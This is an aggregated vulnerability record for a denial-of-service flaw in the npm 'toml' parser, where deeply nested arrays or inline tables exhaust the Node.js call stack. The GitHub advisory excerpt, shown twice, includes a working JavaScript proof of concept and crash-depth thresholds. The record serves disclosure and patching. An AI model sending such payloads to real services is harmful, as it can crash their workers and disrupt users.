CVE-2026-77465
toml-node: Uncontrolled Recursion
toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinline_table_entry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
toml-node: Uncontrolled Recursion
toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinline_table_entry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.
- Record
CVE-2026-77465- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
EUVDEUVD-2026-70739
7.5
toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinline_table_entry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.
- Record
EUVD-2026-70739- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-82x6-q7mm-w9cf
7.5
toml-node: Uncontrolled Recursion
Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
npm install [email protected] # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---------------|----------------------|--------------|
| Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
| Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured
--stack-size. This is expected for a…
- Record
GHSA-82x6-q7mm-w9cf- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
NVD
7.5
toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinline_table_entry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.
- Record
CVE-2026-77465- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSV
7.5
toml-node: Uncontrolled Recursion
toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinline_table_entry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.
- Record
CVE-2026-77465- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSVGHSA-82x6-q7mm-w9cf
7.5
toml-node: Uncontrolled Recursion
Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
npm install [email protected] # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---------------|----------------------|--------------|
| Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
| Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured
--stack-size. This is expected for a…
- Record
GHSA-82x6-q7mm-w9cf- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSVCLSA-2026-1790604890 No score
TuxCare security update for toml (2 CVEs)
TuxCare rebuilt toml to address 2 CVEs. Fixed in 3.0.0-tuxcare.1.
- Record
CLSA-2026-1790604890- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-77465 No score
CVE-2026-77465 in toml - Patched by Root
Root has patched CVE-2026-77465 in the toml package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-77465- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tomlnpm |
before 4.2.0 | 4.2.0 |
tomlTuxCare:npm From an advisory covering 2 CVEs |
3.0.0-tuxcare.0 up to 3.0.0-tuxcare.1, plus listed versions 3.0.0 |
3.0.0-tuxcare.1 |
tomlRoot:npm |
before 3.0.0-aikido.1 | 3.0.0-aikido.13.0.0-aikido.24.2.0-aikido.1 |
@rootio/tomlRoot:npm |
before 3.0.0-root.io.1 | 3.0.0-root.io.13.0.0-root.io.24.2.0-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-77465 is a high vulnerability (CVSS 7.5) in Binarymuse Toml-node, published September 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in toml 4.2.0.
References
github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf
github.com/BinaryMuse/toml-node/pull/72
github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f
github.com/advisories/GHSA-82x6-q7mm-w9cf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77465.json
nvd.nist.gov/vuln/detail/CVE-2026-77465
github.com/BinaryMuse/toml-node
Left out here: the rest of 2 source descriptions. The JSON record has them.